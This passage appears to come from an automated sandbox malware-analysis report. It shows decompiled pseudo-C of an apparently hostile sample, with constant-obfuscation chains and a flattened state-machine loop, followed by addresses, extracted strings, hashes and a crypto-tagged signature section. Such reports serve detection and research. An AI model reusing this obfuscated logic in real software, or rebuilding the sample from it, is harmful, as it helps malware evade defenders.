				_v280 = _v280 ^ 0x68295cf1;
				_v288 = 0xc61b9a;
				_t674 = 0x7a;
				_v288 = _v288 / _t674;
				_v288 = _v288 + 0xffff8031;
				_v288 = _v288 | 0xf82c92ce;
				_v288 = _v288 ^ 0xf823c4f7;
				_v76 = 0x7d7f8f;
				_v76 = _v76 << 0xe;
				_v76 = _v76 ^ 0x5fe891b7;
				_v160 = 0xbc8050;
				_v160 = _v160 + 0x6daa;
				_v160 = _v160 * 0x15;
				_v160 = _v160 ^ 0x0f73a105;
				_v308 = 0xc96668;
				_v308 = _v308 + 0x414a;
				_t407 =  &_v308; // 0x414a
				_v308 =  *_t407 * 0x62;
				_v308 = _v308 + 0xe27c;
				_v308 = _v308 ^ 0x4d36216e;
				_v56 = 0x115110;
				_v56 = _v56 * 0x67;
				_v56 = _v56 ^ 0x06f5f102;
				_v156 = 0xc6e7c6;
				_v156 = _v156 * 0x64;
				_v156 = _v156 >> 0xc;
				_v156 = _v156 ^ 0x000d25a7;
				_v164 = 0x17bdd1;
				_v164 = _v164 << 0xa;
				_v164 = _v164 * 0x76;
				_v164 = _v164 ^ 0xc5fde6f3;
				_v240 = 0xf47398;
				_v240 = _v240 >> 6;
				_v240 = _v240 >> 7;
				_v240 = _v240 >> 3;
				_v240 = _v240 ^ 0x00097778;
				_v248 = 0x1b60d8;
				_v248 = _v248 + 0xf00;
				_v248 = _v248 + 0x3d77;
				_v248 = _v248 ^ 0x81e9103a;
				_v248 = _v248 ^ 0x81f628a4;
				_v176 = 0x50729b;
				_v176 = _v176 >> 3;
				_v176 = _v176 | 0x9604386a;
				_v176 = _v176 ^ 0x960292a9;
				_v116 = 0x187061;
				_v116 = _v116 ^ 0x97622a2d;
				_v116 = _v116 ^ 0x97781ca0;
				_v216 = 0xc9b92d;
				_v216 = _v216 + 0xffff432d;
				_v216 = _v216 | 0x73928a81;
				_v216 = _v216 ^ 0x73d91b9b;
				_v136 = 0x5180ac;
				_v136 = _v136 << 8;
				_v136 = _v136 ^ 0x51850075;
				_v44 = 0x8c0327;
				_t733 = 0x8febea2;
				_v44 = _v44 | 0x794e6ffc;
				_t731 = 0xbbe46d3;
				_v44 = _v44 ^ 0x79c48895;
				_v292 = 0xd0b1c9;
				_v292 = _v292 << 0xf;
				_v292 = _v292 | 0x58c18d84;
				_v292 = _v292 >> 7;
				_v292 = _v292 ^ 0x00be930b;
				_v232 = 0x516242;
				_v232 = _v232 | 0x29e88573;
				_v232 = _v232 >> 6;
				_v232 = _v232 + 0xffffe7aa;
				_v232 = _v232 ^ 0x00a5bc0d;
				_v72 = 0x865533;
				_v72 = _v72 * 0x73;
				_v72 = _v72 ^ 0x3c5ef902;
				_v140 = 0x5c125c;
				_v140 = _v140 ^ 0x5dcea434;
				_v140 = _v140 + 0xffff1551;
				_v140 = _v140 ^ 0x5d90ddd5;
				while(1) {
					L1:
					while(1) {
						L2:
						_t675 = 0x960bc8a;
						while(1) {
							L3:
							_t714 = 0xdaaa01c;
							do {
								while(1) {
									L4:
									_t743 = _t660 - 0x6ae200e;
									if(_t743 > 0) {
										break;
									}
									if(_t743 == 0) {
										_push(_v260);
										_push(_v84);
										_t638 = E00FBCD35(0xfa1330, _v284, __eflags);
										_push(_v184);
										_push(_v224);
										__eflags = E00FBD96C(_v244, _v220,  &_v36, _v128, _v132, E00FBCD35(0xfa1250, _v48, __eflags), _t638) - _v212;
										_t660 =  ==  ? 0x34f6d36 : 0x60ed50;
										E00FB629F(_v252, _t638, _v228, _v276, _v204);
										E00FB629F(_v112, _t639, _v304, _v312, _v120);
										_t738 = _t738 + 0x3c;
										_t731 = 0xbbe46d3;
										goto L14;
									} else {
										if(_t660 == 0x350b35) {
											E00FAAE43(_v32, _v44, _v292);
											_t660 = _t731;
											goto L1;
										} else {
											if(_t660 == 0x1be4ce1) {
												_t660 = 0x6ae200e;
												continue;
											} else {
												if(_t660 == 0x34f6d36) {
													_push(_v208);
													_push(_v68);
													_t647 = E00FBCD35(0xfa1300, _v144, __eflags);
													_pop(_t691);
													__eflags = E00FAEC68( &_v28,  &_v24, _v36, _v300, _t647, _v100, _v168, _t691, _v52, _v200, _v268, _v108) - _v236;
													_t660 =  ==  ? 0xdaaa01c : _t731;
													__eflags = _t660;
													E00FB629F(_v152, _t647, _v92, _v60, _v192);
													_t738 = _t738 + 0x34;
													L14:
													_t733 = 0x8febea2;
													L25:
													_t632 = 0x3fd2798;
													_t675 = 0x960bc8a;
													_t714 = 0xdaaa01c;
													goto L26;
												} else {
													if(_t660 == 0x363900b) {
														E00FB647C(_v40, _v176, _v116, _v216, _v136);
														_t738 = _t738 + 0xc;
														_t660 = 0x350b35;
														while(1) {
															L1:
															goto L2;
														}
													} else {
														if(_t660 != _t632) {
															goto L26;
														} else {
															E00FABCB2(_a24, _v76, _v160, _v196, _v308, _v56, _a4, _v40);
															_t738 = _t738 + 0x18;
															_t660 =  ==  ? _t733 : 0x363900b;
															while(1) {
																L1:
																L2:
																_t675 = 0x960bc8a;
																L3:
																_t714 = 0xdaaa01c;
																goto L4;
															}
														}
													}
												}
											}
										}
									}
									L29:
									return _t736;
								}
								__eflags = _t660 - _t733;
								if(_t660 == _t733) {
									_t630 = E00FC2E29(_a8, _v148, _v156, 0x20, _v164, _v40, _v240, _v248);
									_t738 = _t738 + 0x18;
									_t660 = 0x363900b;
									__eflags = _t630 - _v80;
									_t736 =  ==  ? 1 : _t736;
									goto L25;
								} else {
									__eflags = _t660 - _t675;
									if(_t660 == _t675) {
										_t634 = E00FB585A(_v264, _t714, _v32, _v36, _v88, _v172, _v180, _v272, _v280,  &_v40, _v28, _v288);
										_t738 = _t738 + 0x28;
										__eflags = _t634 - _v256;
										_t632 = 0x3fd2798;
										_t660 =  ==  ? 0x3fd2798 : 0x350b35;
										goto L2;
									} else {
										__eflags = _t660 - _t731;
										if(_t660 == _t731) {
											E00FB4827(_v36, _v232, _v64, _v72, _v140);
										} else {
											__eflags = _t660 - _t714;
											if(_t660 != _t714) {
												goto L26;
											} else {
												_push(_t675);
												_push(_t675);
												_t659 = E00FB5212(_v28);
												_t738 = _t738 + 0xc;
												_v32 = _t659;
												__eflags = _t659;
												_t675 = 0x960bc8a;
												_t632 = 0x3fd2798;
												_t660 =  !=  ? 0x960bc8a : _t731;
												goto L3;
											}
										}
									}
								}
								goto L29;
								L26:
								__eflags = _t660 - 0x60ed50;
							} while (__eflags != 0);
							goto L29;
						}
					}
				}
			}

0x00fba2a5
0x00fba2ac
0x00fba2b3
0x00fba2ba
0x00fba2c1
0x00fba2c8
0x00fba2cf
0x00fba2d1
0x00fba2d2
0x00fba2d7
0x00fba2eb
0x00fba2ee
0x00fba2f1
0x00fba2f3
0x00fba2fa
0x00fba2fb
0x00fba2fc
0x00fba2fd
0x00fba308
0x00fba313
0x00fba31e
0x00fba326
0x00fba32b
0x00fba333
0x00fba33b
0x00fba346
0x00fba34d
0x00fba358
0x00fba360
0x00fba368
0x00fba370
0x00fba378
0x00fba380
0x00fba388
0x00fba395
0x00fba399
0x00fba3a1
0x00fba3a9
0x00fba3b1
0x00fba3b9
0x00fba3be
0x00fba3c6
0x00fba3ce
0x00fba3d6
0x00fba3e4
0x00fba3e8
0x00fba3f0
0x00fba3fb
0x00fba40b
0x00fba412
0x00fba41d
0x00fba428
0x00fba433
0x00fba43e
0x00fba449
0x00fba454
0x00fba45c
0x00fba467
0x00fba47a
0x00fba481
0x00fba48c
0x00fba497
0x00fba4a2
0x00fba4ad
0x00fba4b5
0x00fba4bd
0x00fba4cd
0x00fba4d2
0x00fba4d8
0x00fba4e0
0x00fba4eb
0x00fba4f6
0x00fba501
0x00fba509
0x00fba50e
0x00fba512
0x00fba51a
0x00fba522
0x00fba52d
0x00fba538
0x00fba543
0x00fba54b
0x00fba553
0x00fba55b
0x00fba563
0x00fba56e
0x00fba579
0x00fba584
0x00fba58f
0x00fba597
0x00fba59b
0x00fba5a3
0x00fba5ab
0x00fba5b3
0x00fba5bb
0x00fba5c3
0x00fba5c8
0x00fba5d0
0x00fba5db
0x00fba5e3
0x00fba5ee
0x00fba5f6
0x00fba5fe
0x00fba60a
0x00fba60f
0x00fba615
0x00fba61d
0x00fba625
0x00fba632
0x00fba633
0x00fba637
0x00fba63f
0x00fba64c
0x00fba650
0x00fba655
0x00fba659
0x00fba661
0x00fba66c
0x00fba677
0x00fba682
0x00fba68d
0x00fba698
0x00fba6a3
0x00fba6ae
0x00fba6b6
0x00fba6be
0x00fba6c3
0x00fba6c8
0x00fba6d0
0x00fba6d8
0x00fba6e6
0x00fba6ea
0x00fba6ef
0x00fba6f7
0x00fba702
0x00fba70a
0x00fba717
0x00fba722
0x00fba738
0x00fba743
0x00fba74e
0x00fba756
0x00fba761
0x00fba76f
0x00fba774
0x00fba77d
0x00fba788
0x00fba793
0x00fba79b
0x00fba7a3
0x00fba7ab
0x00fba7b3
0x00fba7bb
0x00fba7c6
0x00fba7d1
0x00fba7dc
0x00fba7e7
0x00fba7f2
0x00fba7fd
0x00fba808
0x00fba813
0x00fba81b
0x00fba81e
0x00fba825
0x00fba830
0x00fba83b
0x00fba846
0x00fba851
0x00fba85c
0x00fba864
0x00fba86c
0x00fba874
0x00fba87c
0x00fba884
0x00fba88f
0x00fba89a
0x00fba8a2
0x00fba8ad
0x00fba8c3
0x00fba8ca
0x00fba8d5
0x00fba8e8
0x00fba8e9
0x00fba8f0
0x00fba8fb
0x00fba906
0x00fba90d
0x00fba918
0x00fba923
0x00fba937
0x00fba93e
0x00fba949
0x00fba954
0x00fba95f
0x00fba96a
0x00fba972
0x00fba97f
0x00fba983
0x00fba98b
0x00fba993
0x00fba99e
0x00fba9a8
0x00fba9b3
0x00fba9be
0x00fba9c9
0x00fba9d4
0x00fba9df
0x00fba9ea
0x00fba9f5
0x00fbaa00
0x00fbaa0b
0x00fbaa16
0x00fbaa1e
0x00fbaa26
0x00fbaa31
0x00fbaa39
0x00fbaa3e
0x00fbaa46
0x00fbaa4e
0x00fbaa56
0x00fbaa64
0x00fbaa67
0x00fbaa6b
0x00fbaa73
0x00fbaa7b
0x00fbaa83
0x00fbaa8e
0x00fbaa96
0x00fbaaa1
0x00fbaaac
0x00fbaabf
0x00fbaac6
0x00fbaad1
0x00fbaad9
0x00fbaae1
0x00fbaae6
0x00fbaaea
0x00fbaaf2
0x00fbaafa
0x00fbab0d
0x00fbab14
0x00fbab1f
0x00fbab32
0x00fbab39
0x00fbab41
0x00fbab4c
0x00fbab57
0x00fbab67
0x00fbab6e
0x00fbab79
0x00fbab81
0x00fbab86
0x00fbab8b
0x00fbab90
0x00fbab98
0x00fbaba0
0x00fbaba8
0x00fbabb0
0x00fbabb8
0x00fbabc0
0x00fbabcb
0x00fbabd3
0x00fbabde
0x00fbabe9
0x00fbabf4
0x00fbabff
0x00fbac0a
0x00fbac12
0x00fbac1a
0x00fbac22
0x00fbac2a
0x00fbac35
0x00fbac3d
0x00fbac48
0x00fbac53
0x00fbac58
0x00fbac63
0x00fbac68
0x00fbac73
0x00fbac7b
0x00fbac80
0x00fbac88
0x00fbac8d
0x00fbac95
0x00fbac9d
0x00fbaca5
0x00fbacaa
0x00fbacb2
0x00fbacba
0x00fbaccd
0x00fbacd4
0x00fbacdf
0x00fbacea
0x00fbacf5
0x00fbad00
0x00fbad0b
0x00fbad0b
0x00fbad10
0x00fbad10
0x00fbad10
0x00fbad15
0x00fbad15
0x00fbad15
0x00fbad1a
0x00fbad1a
0x00fbad1a
0x00fbad1a
0x00fbad20
0x00000000
0x00000000
0x00fbad26
0x00fbaebc
0x00fbaec5
0x00fbaed0
0x00fbaed5
0x00fbaee3
0x00fbaf2b
0x00fbaf3b
0x00fbaf4a
0x00fbaf6a
0x00fbaf6f
0x00fbaf72
0x00000000
0x00fbad2c
0x00fbad32
0x00fbaeaf
0x00fbaeb5
0x00000000
0x00fbad38
0x00fbad3e
0x00fbae93
0x00000000
0x00fbad44
0x00fbad4a
0x00fbade7
0x00fbadf0
0x00fbadfe
0x00fbae04
0x00fbae62
0x00fbae70
0x00fbae70
0x00fbae81
0x00fbae86
0x00fbae89
0x00fbae89
0x00fbb08e
0x00fbb08e
0x00fbb093
0x00fbb098
0x00000000
0x00fbad50
0x00fbad56
0x00fbadd5
0x00fbadda
0x00fbaddd
0x00fbad0b
0x00fbad0b
0x00000000
0x00fbad0b
0x00fbad58
0x00fbad5a
0x00000000
0x00fbad60
0x00fbad95
0x00fbad9c
0x00fbadad
0x00fbad0b
0x00fbad0b
0x00fbad10
0x00fbad10
0x00fbad15
0x00fbad15
0x00000000
0x00fbad15
0x00fbad0b
0x00fbad5a
0x00fbad56
0x00fbad4a
0x00fbad3e
0x00fbad32
0x00fbb0d5
0x00fbb0df
0x00fbb0df
0x00fbaf7c
0x00fbaf7e
0x00fbb070
0x00fbb081
0x00fbb084
0x00fbb089
0x00fbb08b
0x00000000
0x00fbaf84
0x00fbaf84
0x00fbaf86
0x00fbb021
0x00fbb028
0x00fbb034
0x00fbb036
0x00fbb03b
0x00000000
0x00fbaf88
0x00fbaf88
0x00fbaf8a
0x00fbb0cb
0x00fbaf90
0x00fbaf90
0x00fbaf92
0x00000000
0x00fbaf98
0x00fbafb1
0x00fbafb2
0x00fbafba
0x00fbafbf
0x00fbafc2
0x00fbafc9
0x00fbafcd
0x00fbafd2
0x00fbafd7
0x00000000
0x00fbafd7
0x00fbaf92
0x00fbaf8a
0x00fbaf86
0x00000000
0x00fbb09d
0x00fbb09d
0x00fbb09d
0x00000000
0x00fbb0a9
0x00fbad15
0x00fbad10

Strings

xw, xrefs: 00FBAB90
BbQ, xrefs: 00FBAC95
zr, xrefs: 00FBA6E0
JAzr, xrefs: 00FBAAE1
zr, xrefs: 00FBA6EF
6[, xrefs: 00FBA86C
SY), xrefs: 00FBA813
Qw6, xrefs: 00FBA743
P`, xrefs: 00FBB09D
w=, xrefs: 00FBABA8
ECx, xrefs: 00FBA6F7
P`, xrefs: 00FBAF26
?!a>, xrefs: 00FBA851
u, xrefs: 00FBAC3D
[(, xrefs: 00FBA32B
mO=T, xrefs: 00FBA8F0
<, xrefs: 00FBA677

Memory Dump Source

Source File: 00000000.00000002.596698488.0000000000FA0000.00000040.00000010.sdmp, Offset: 00FA0000, based on PE: true

Yara matches

Similarity

API ID:
String ID: 6[$?!a>$BbQ$ECx$JAzr$P`$P`$Qw6$SY)$[($mO=T$u$w=$xw$zr$zr$<
API String ID: 0-1031985829
Opcode ID: 2bb8f3eacfd3c554fff0c187164750597bc661f3c0933a857847f99878c8d09e
Instruction ID: 2c031a7c65a01875e44f379f82ad36111968fe61cca1657f12445fe0f25db44d
Opcode Fuzzy Hash: 2bb8f3eacfd3c554fff0c187164750597bc661f3c0933a857847f99878c8d09e
Instruction Fuzzy Hash: 97620E715083808FD7B9CF61C98AB9FBBE1BBC4704F10891DE29A96260D7B58949DF43

Uniqueness

Uniqueness Score: -1.00%

Function 00FC0370, Relevance: 19.4, Strings: 15, Instructions: 644
COMMONCrypto

Download Yara Rule

C-Code - Quality: 94%

			E00FC0370(signed int* __ecx, void* __edx, void* __fp0, intOrPtr _a4, intOrPtr _a8, signed int _a12, signed int _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, intOrPtr _a32, intOrPtr _a36, intOrPtr _a40, intOrPtr _a44) {
				signed int _v4;
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				signed int _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int* _v204;
				signed int _v208;
				signed int _v212;
				signed int _v216;
				signed int _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _v236;
				signed int _v240;
				signed int _v244;
				signed int _v248;
				signed int _v252;
				signed int _v256;
				signed int _v260;
				signed int _v264;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t729;
				void* _t731;
				signed int _t734;
				signed int _t754;
				signed int _t757;
				signed int* _t760;
				void* _t818;
				signed int _t821;
				signed int _t832;
				signed int _t840;
				signed int _t841;
				signed int _t842;
				signed int _t843;
				signed int _t844;
				signed int _t845;
				signed int _t846;
				signed int _t847;
				signed int _t848;
				signed int _t849;
				signed int _t850;
				signed int _t851;
				signed int _t852;
				signed int _t853;
				signed int _t854;
				signed int _t856;
				signed int _t861;
				signed int* _t864;
				void* _t867;
				void* _t873;

				_t873 = __fp0;
				_push(_a44);
				_push(_a40);
				_push(_a36);
				_v204 = __ecx;
				_push(_a32);
				_push(_a28);
				_push(_a24);
				_push(_a20);
				_push(_a16);
				_push(_a12 & 0x0000ffff);
				_push(_a8);
				_push(_a4);
				_push(__edx);
				_push(__ecx);
				E00FA358A(_a12 & 0x0000ffff);
				_v264 = 0x3bf2ba;
				_t864 =  &(( &_v264)[0xd]);
				_v264 = _v264 ^ 0xf9dcdfeb;
				_v264 = _v264 | 0xcf286d43;
				_t757 = 0;
				_v264 = _v264 + 0x2f6b;
				_t854 = 0xb0ddf6c;
				_v264 = _v264 ^ 0xffef9cbe;
				_v12 = 0x619986;
				_v12 = _v12 << 0xa;
				_v12 = _v12 ^ 0x86661813;
				_v64 = 0xacc813;
				_v64 = _v64 >> 6;
				_v64 = _v64 ^ 0x0002b3e8;
				_v56 = 0x16558c;
				_v56 = _v56 ^ 0x21def54d;
				_v56 = _v56 ^ 0x21c820c1;
				_v152 = 0x7852c;
				_v8 = 0;
				_t840 = 0x45;
				_v152 = _v152 / _t840;
				_v152 = _v152 / _t840;
				_v152 = _v152 ^ 0x00004067;
				_v168 = 0xfd93da;
				_v168 = _v168 + 0xffff8b1c;
				_v168 = _v168 << 0xb;
				_v168 = _v168 ^ 0xe8b7b000;
				_v224 = 0x659efc;
				_v224 = _v224 << 0xb;
				_v224 = _v224 ^ 0x7bc67180;
				_v224 = _v224 + 0xd5f9;
				_v224 = _v224 ^ 0x57366779;
				_v200 = 0xc43b1;
				_v200 = _v200 >> 7;
				_v200 = _v200 << 8;
				_v200 = _v200 >> 0xb;
				_v200 = _v200 ^ 0x04000310;
				_v232 = 0x288315;
				_v232 = _v232 << 0xd;
				_v232 = _v232 + 0x4c8e;
				_t841 = 0x5b;
				_v232 = _v232 / _t841;
				_v232 = _v232 ^ 0x0026191a;
				_v164 = 0x619644;
				_v164 = _v164 >> 1;
				_v164 = _v164 >> 9;
				_v164 = _v164 ^ 0x00001a65;
				_v32 = 0x9f01f9;
				_v32 = _v32 ^ 0xa48b040e;
				_v32 = _v32 ^ 0xa41404f7;
				_v176 = 0xac1aac;
				_t842 = 0x49;
				_v176 = _v176 / _t842;
				_v176 = _v176 + 0xffffa10e;
				_v176 = _v176 << 0xc;
				_v176 = _v176 ^ 0x9fc99000;
				_v40 = 0xb8c84b;
				_t843 = 0x73;
				_v40 = _v40 / _t843;
				_v40 = _v40 ^ 0x00019b57;
				_v244 = 0xf40d36;
				_t844 = 0x6b;
				_v244 = _v244 * 0x62;
				_v244 = _v244 >> 0xe;
				_v244 = _v244 + 0xffffdda4;
				_v244 = _v244 ^ 0x00015319;
				_v228 = 0x789122;
				_v228 = _v228 + 0x7600;
				_v228 = _v228 ^ 0x06415a1a;
				_v228 = _v228 * 0x1a;
				_v228 = _v228 ^ 0xa1b977af;
				_v28 = 0xb5334d;
				_v28 = _v28 | 0x64adaea9;
				_v28 = _v28 ^ 0x64bdbff2;
				_v88 = 0x600bd7;
				_v88 = _v88 | 0x9bc31fbe;
				_v88 = _v88 ^ 0x9be31ffc;
				_v44 = 0xe4c8a4;
				_v44 = _v44 ^ 0x077e80f3;
				_v44 = _v44 ^ 0x079a4957;
				_v264 = 0x57efac;
				_v264 = _v264 >> 0xe;
				_v264 = _v264 * 0x53;
				_v264 = _v264 | 0x8853ee8b;
				_v264 = _v264 ^ 0x885ceb95;
				_v256 = 0xdaa3cd;
				_v256 = _v256 * 0x3c;
				_v256 = _v256 + 0xffffaf53;
				_v256 = _v256 ^ 0x333718c5;
				_v264 = 0x8cc3a4;
				_v264 = _v264 >> 0xd;
				_v264 = _v264 << 7;
				_v264 = _v264 >> 0xf;
				_v264 = _v264 ^ 0x00039b25;
				_v264 = 0x91c455;
				_v264 = _v264 << 8;
				_v264 = _v264 >> 0x10;
				_v264 = _v264 + 0xffffe696;
				_v264 = _v264 ^ 0x00055627;
				_v264 = 0xb8ce41;
				_v264 = _v264 / _t844;
				_v264 = _v264 | 0x92ffd4ff;
				_v264 = _v264 ^ 0x92f6d31d;
				_v264 = 0xfb8d54;
				_v264 = _v264 * 0x4c;
				_v264 = _v264 + 0xfffffc37;
				_v264 = _v264 << 0xd;
				_v264 = _v264 ^ 0xbe2f3023;
				_v260 = 0x8d0500;
				_v260 = _v260 + 0x8ef7;
				_v260 = _v260 ^ 0x008a8944;
				_v260 = 0x9b4ebc;
				_v260 = _v260 | 0x9f300090;
				_v260 = _v260 ^ 0x9fbf2fd3;
				_v260 = 0xb11a34;
				_v260 = _v260 + 0xffff397e;
				_v260 = _v260 ^ 0x00bda5bc;
				_v260 = 0xda4006;
				_v260 = _v260 + 0xffff2350;
				_v260 = _v260 ^ 0x00df924b;
				_v260 = 0xfa264;
				_v260 = _v260 | 0xe03386ab;
				_v260 = _v260 ^ 0xe03becb8;
				_v260 = 0x36c206;
				_t861 = 0x7e;
				_t845 = 0x4e;
				_v260 = _v260 * 0x53;
				_v260 = _v260 ^ 0x11c21e2e;
				_v264 = 0xeb8ad6;
				_v264 = _v264 + 0xffffff14;
				_v264 = _v264 | 0xa4e49e57;
				_v264 = _v264 * 0x31;
				_v264 = _v264 ^ 0x91df8148;
				_v260 = 0x49e4dc;
				_v260 = _v260 | 0x32361d08;
				_v260 = _v260 ^ 0x32798df6;
				_v148 = 0xdedd33;
				_v148 = _v148 + 0x20c1;
				_v148 = _v148 ^ 0xf511dd0a;
				_v148 = _v148 ^ 0xf5cc8216;
				_v172 = 0x4e325e;
				_v172 = _v172 + 0x69f5;
				_v172 = _v172 << 8;
				_v172 = _v172 / _t861;
				_v172 = _v172 ^ 0x0098c5bf;
				_v132 = 0x56f111;
				_v132 = _v132 / _t845;
				_v132 = _v132 + 0xffff6d40;
				_v132 = _v132 ^ 0x000c7fcf;
				_v108 = 0x564a26;
				_v108 = _v108 ^ 0x5ac3ed89;
				_v108 = _v108 ^ 0x5a9ae1e1;
				_v208 = 0x713a4f;
				_v208 = _v208 >> 9;
				_v208 = _v208 << 4;
				_v208 = _v208 + 0xffff8e7c;
				_v208 = _v208 ^ 0x0001aef6;
				_v72 = 0xa78a5a;
				_v72 = _v72 ^ 0x21ab4a2c;
				_v72 = _v72 ^ 0x210ed8c8;
				_v156 = 0x8eec2a;
				_t846 = 0x1d;
				_v156 = _v156 / _t846;
				_v156 = _v156 | 0xe8d7ca9f;
				_v156 = _v156 ^ 0xe8db3425;
				_v216 = 0xbe7af4;
				_v216 = _v216 + 0x62f0;
				_v216 = _v216 >> 0xa;
				_v216 = _v216 << 4;
				_v216 = _v216 ^ 0x000ca62c;
				_v112 = 0x5cddf;
				_v112 = _v112 + 0xffff7278;
				_v112 = _v112 << 5;
				_v112 = _v112 ^ 0x00ac458e;
				_v124 = 0xf4fe4a;
				_v124 = _v124 * 0x23;
				_v124 = _v124 + 0xffffa4ee;
				_v124 = _v124 ^ 0x217d925b;
				_v120 = 0x4295e2;
				_v120 = _v120 >> 0xc;
				_v120 = _v120 + 0xffffbc18;
				_v120 = _v120 ^ 0xfffbc35b;
				_v140 = 0x4e8e05;
				_t847 = 0x53;
				_v140 = _v140 * 7;
				_t848 = 0x2a;
				_v140 = _v140 / _t847;
				_v140 = _v140 ^ 0x000d3014;
				_v116 = 0x219afb;
				_v116 = _v116 ^ 0x1bb70309;
				_v116 = _v116 + 0x9cdb;
				_v116 = _v116 ^ 0x1b9e374a;
				_v240 = 0x7e790f;
				_v240 = _v240 >> 4;
				_v240 = _v240 | 0xdc4d67aa;
				_v240 = _v240 * 0x7d;
				_v240 = _v240 ^ 0x93030bed;
				_v144 = 0x893e76;
				_v144 = _v144 | 0x7cc55deb;
				_v144 = _v144 ^ 0x7cc15b6f;
				_v252 = 0x6ec0a5;
				_v252 = _v252 + 0xffff0e3e;
				_v252 = _v252 << 8;
				_v252 = _v252 + 0xad95;
				_v252 = _v252 ^ 0x6dc2e551;
				_v184 = 0xc9b8e5;
				_v184 = _v184 | 0x25333614;
				_v184 = _v184 + 0xffffa467;
				_v184 = _v184 + 0xffffd31f;
				_v184 = _v184 ^ 0x25f0dab7;
				_v100 = 0xa8adeb;
				_v100 = _v100 << 0xe;
				_v100 = _v100 ^ 0x2b73a17b;
				_v104 = 0xbfbcb8;
				_v104 = _v104 << 6;
				_v104 = _v104 ^ 0x2fed78ee;
				_v76 = 0x79d50b;
				_v76 = _v76 + 0x9ff3;
				_v76 = _v76 ^ 0x007a052c;
				_v84 = 0x8f07c2;
				_t849 = 0xa;
				_v84 = _v84 / _t848;
				_v84 = _v84 ^ 0x00081a14;
				_v192 = 0x8fd6fb;
				_v192 = _v192 >> 0x10;
				_v192 = _v192 * 0x2d;
				_v192 = _v192 >> 0xb;
				_v192 = _v192 ^ 0x000533d4;
				_v92 = 0xf2e29d;
				_v92 = _v92 | 0xa8510241;
				_v92 = _v92 ^ 0xa8f24903;
				_v136 = 0x3fc77e;
				_t850 = 6;
				_v136 = _v136 / _t849;
				_v136 = _v136 + 0xf8ad;
				_v136 = _v136 ^ 0x000c94bb;
				_v248 = 0x1d2dee;
				_v248 = _v248 + 0xffffe467;
				_v248 = _v248 + 0xfffffb55;
				_v248 = _v248 << 7;
				_v248 = _v248 ^ 0x0e846fd7;
				_v68 = 0x7275c5;
				_v68 = _v68 / _t850;
				_v68 = _v68 ^ 0x00138ff1;
				_v52 = 0xbd953f;
				_v52 = _v52 >> 2;
				_v52 = _v52 ^ 0x002d867c;
				_v236 = 0x6c390e;
				_v236 = _v236 | 0x8341dc77;
				_v236 = _v236 ^ 0x9f2553b7;
				_v236 = _v236 + 0xc284;
				_v236 = _v236 ^ 0x1c443a9e;
				_v60 = 0xe4b226;
				_v60 = _v60 >> 0x10;
				_v60 = _v60 ^ 0x0000e4f8;
				_v128 = 0x8a2f41;
				_v128 = _v128 >> 0xf;
				_v128 = _v128 ^ 0xa906698d;
				_v128 = _v128 ^ 0xa90fd0dd;
				_v260 = 0xb373e3;
				_t851 = 0x65;
				_v260 = _v260 * 0x5f;
				_v260 = _v260 ^ 0x4290d33f;
				_v212 = 0xc00726;
				_v212 = _v212 << 6;
				_v212 = _v212 + 0x64e5;
				_v212 = _v212 | 0x0a7365f4;
				_v212 = _v212 ^ 0x3a7366b9;
				_v220 = 0x4514f3;
				_v220 = _v220 * 0x17;
				_v220 = _v220 + 0x1d0d;
				_v220 = _v220 << 4;
				_v220 = _v220 ^ 0x63443f4d;
				_v160 = 0x303aac;
				_v160 = _v160 ^ 0x719995e8;
				_v160 = _v160 + 0xf6a4;
				_v160 = _v160 ^ 0x71ae9bf2;
				_v48 = 0x662090;
				_v48 = _v48 * 9;
				_v48 = _v48 ^ 0x0396166a;
				_v96 = 0xa68bea;
				_v96 = _v96 + 0xffff38d0;
				_v96 = _v96 ^ 0x00a728da;
				_v180 = 0xd187dd;
				_v180 = _v180 / _t851;
				_v180 = _v180 >> 0xf;
				_v180 = _v180 << 0xe;
				_v180 = _v180 ^ 0x0000146e;
				_v16 = 0x8b1f34;
				_v16 = _v16 + 0xffff45ca;
				_v16 = _v16 ^ 0x008aa47f;
				_v188 = 0xe35e5d;
				_v188 = _v188 + 0xdaf8;
				_v188 = _v188 | 0x67ffa7ad;
				_v188 = _v188 ^ 0x67f62311;
				_v24 = 0x5198a7;
				_v24 = _v24 ^ 0xd802f8d6;
				_v24 = _v24 ^ 0xd85bf2b2;
				_v20 = 0xe5d36f;
				_t852 = 0x7c;
				_v20 = _v20 / _t852;
				_v20 = _v20 ^ 0x00092876;
				_v80 = 0x923b59;
				_v80 = _v80 + 0xffffec13;
				_v80 = _v80 ^ 0x009b959b;
				_v264 = 0x6b0706;
				_v264 = _v264 * 0x43;
				_v264 = _v264 / _t861;
				_v264 = _v264 ^ 0xb16e0b4f;
				_v264 = _v264 ^ 0xb15e7c25;
				_v256 = 0x8513f5;
				_v256 = _v256 | 0xdf3fff5a;
				_v256 = _v256 ^ 0xdfb067f3;
				_t862 = _v4;
				_t853 = _v4;
				while(1) {
					L1:
					while(1) {
						_t729 = _v196;
						while(1) {
							L3:
							_t867 = _t854 - 0xaef784f;
							if(_t867 > 0) {
								break;
							}
							if(_t867 == 0) {
								E00FA1934(_t757, _v188, _v24, _t853, _t854, _t873, _t853);
								L21:
								_t854 = 0x772bc2f;
								L13:
								_t760 = _v204;
								goto L1;
							}
							if(_t854 == 0x5ee6bd) {
								_push(_v120);
								_t729 = E00FB2621(_t862, _v156, _a12, _a40, _v216, _t760, _v88, _v112, _v124);
								_t760 = _v204;
								_t864 = _t864 - 0xc + 0x2c;
								__eflags = _t729;
								_v196 = _t729;
								_t818 = 0xc6135b8;
